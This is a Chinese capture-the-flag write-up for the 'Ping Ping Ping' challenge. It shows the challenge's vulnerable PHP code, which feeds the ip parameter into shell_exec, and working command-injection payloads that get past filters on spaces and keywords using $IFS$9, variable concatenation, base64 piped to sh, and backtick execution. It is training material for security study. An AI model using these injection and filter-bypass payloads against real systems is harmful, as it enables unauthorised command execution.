打开题目,页面显示/?ip= 应该是一个传参的提示。

结合题目的ping。尝试?ip=127.0.0.1

果然是linux的命令执行,尝试执行其他命令

?ip=127.0.0.1 ;ls

成功执行

目标是flag.php ?ip=127.0.0.1 ;cat flag.php

提示/?ip= fxck your space!

判断目标网站是对空格进行了过滤,我们可以使用一些方法代替空格来起到分割作用

注:%20(space)、%09(tab)、$IFS$9、${IFS}$9、 {IFS}、IFS 都可以

但这里存在一些过滤{IPS}失效,多次尝试$IFS$9可以 (具体可以查看index.php文件中的过滤规则)

构造?ip=127.0.0.1;cat$IFS$1flag.php

提示 /?ip= fxck your flag!

应该是对flag字样进行了过滤

不妨来看看他进行了哪些过滤,构造?ip=127.0.0.1;cat$IFS$1index.php

<?php
if(isset($_GET['ip'])){$ip = $_GET['ip'];if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);die("fxck your symbol!");} else if(preg_match("/ /", $ip)){die("fxck your space!");} else if(preg_match("/bash/", $ip)){die("fxck your bash!");} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){die("fxck your flag!");}$a = shell_exec("ping -c 4 ".$ip);echo "<pre>";print_r($a);
}?>

不难看出对flag进行的正则匹配。因此诸如fl\ag之类的写法就行不通了。

几种解题思路

  1. 通过变量实现字符串拼接

构造/?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php  即可获取flag

注:此处将变量ab的位置互换是为了绕过字符串匹配

2.通过执行sh命令来执行 (bash被过滤了,不然也可以执行)

构造/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

注:sh是linux中运行shell的命令,bash相当于sh的升级版,sh∈bash

3.内联执行 (真正的大佬操作,给跪了)

构造 /?ip=127.0.0.1;cat$IFS$9`ls`

注:内联,就是将反引号内命令的输出作为输入执行。

什么正则都是浮云,可能这就是大佬的世界把。

记 [GXYCTF2019]Ping Ping Ping 1相关推荐

  1. linux命令菜鸟ping,Linux ping命令

    Linux ping命令 Linux ping命令用于检测主机. 执行ping指令会使用ICMP传输协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常. 语 ...

  2. 复制vmware overLay网络无法ping通 ping www.baidu.com可以

    因为忘记关闭防火墙了!!!!!    要永久关闭!! 修改hostname https://blog.csdn.net/qq_27327261/article/details/109100219 关闭 ...

  3. linux使用ping命令ping本机,Linux下使用ping命令判断网络的好坏

    简介 在Linux系统里面如果想判断网络的好坏,脑海中蹦出的第一个命令就是ping了. ping命令基本是最常用的网络命令,它可以用来测试与目标主机的连通性. ping通过发送ICMP ECHO_RE ...

  4. 虚拟机ping网关ping不通

    虚拟机ping网关ping不通,可能自己遇到的比较奇特,开始访问正常,过一段时间就不正常,分享一下解决办法: 首先ping同网段的可以ping的通,说明vmnet8的ipv4不和虚拟机配置的vmnet ...

  5. 全网超详细的如何Ping特定的端口号,比如telnet Ping,nc Ping,nmap Ping等

    文章目录 1. 文章引言 2. ping特定端口 2.1 使用telnet ping特定端口 2.2 使用nc ping特定端口 2.3 使用nmap ping端口 2.4 使用Powershell ...

  6. C# ping命令,ping网络状态

    Ping ping = new Ping(); PingReply pingReply = ping.Send("192.168.1.1"); //网络状态 if (pingRep ...

  7. 计算机想ping一下网络,请问下大家: 用 ping 命令ping /-n/-t/-l/-a/-f/-i/-v/-r/-s/-j/-k/-w/-1...

    ping命令参数详细解释 -a 将目标的机器标识转换为ip地址 -t 若使用者不人为中断会不断的ping下去 -n count 要求ping命令连续发送数据包,直到发出并接收到count个请求 -d ...

  8. linux ping ttl,ping 命令----根据TTL判断对方是什么操作系统

    根据TTL判断对方是什么操作系统 TTL(Time To Live,生存时间),是IP协议包中的一个值,指定数据包被路由器丢弃之前允许通过的网段数量,数据包每经过路由器转发一次都至少要把TTL减一,T ...

  9. 服务器ping你可以ping通,你ping服务器ping不同的解决方案!!

    这几天让公司的服务器弄的蛋疼啊!!三天两头的出问题,主管脸色不大好看,我这里也郁闷的要死.所以发誓一定要把好安全关!! 今天在自己的虚拟机上边装了一个winserver2003标准版,搭建好环境之后发 ...

最新文章

  1. R语言dplyr包对数据进行超前或者之后处理(lead、lag)实战
  2. 亚信科技CTO欧阳晔博士:5G网络助推边缘AI|MEET 2022
  3. STC89C52单片机 点亮LED灯
  4. Firefox, IE等不同浏览器对JavaScript,CSS不同解析问题 (转备以后使用)
  5. 共享数据库、独立 Schema
  6. STL之七:STL各种容器的使用时机详解(精讲大全)
  7. HDU4268 2012ACM长春赛区网络赛 Alice and Bob
  8. meet --- 位运算
  9. BAT-局域网内在线电脑IP
  10. js中的四种常用数组排序方法(冒泡、选择、插入、快排)及sort排序
  11. 【Android开发-4】进入实践,最喜欢折腾的计算器
  12. There appears to be a gap in the edit log. We expected txid 867311, but got txid 867402.
  13. pandas 数据合并 pd.join() pd.merge() pd.crosstab() pd.concat()
  14. linux钓鱼邮件,钓鱼邮件传播勒索病毒再升级,不落地加大查杀难度
  15. 扫雷游戏(基础版本)
  16. MySQL查询分析工具-Explain
  17. MyOwnFreeHost免费分销空间定制模板管理用户WHMCS整合和空间运营
  18. 如何看自己系统是否支持DirectX 9.0c
  19. 劲爆战士第二部的陀螺叫什么名字
  20. 电气工程系毕业设计大全单片机精品设计合集参考案例地址

热门文章

  1. 基于java的个人日程管理系统mysql
  2. ff14怎么显示服务器时间,《FF14》8月20日维护到几点 最终幻想14服务器迁移维护公告...
  3. 证明最小码距与纠检错图像_最小码距和检错纠错能力关系
  4. 百度UEditor编译器中获取HTML内容和纯文本,设置UEditor编辑器的内容
  5. 已知两点,求两点与原点连线的角度
  6. android 布局覆盖 超出一部分_谈谈移动端屏幕适配的几种方法
  7. Chrome常见的好用插件(满分好评)
  8. 梯度下降——雏凤清于老凤声
  9. 日常英语精彩短句集锦
  10. 视频播放可弹出弹幕,关闭弹幕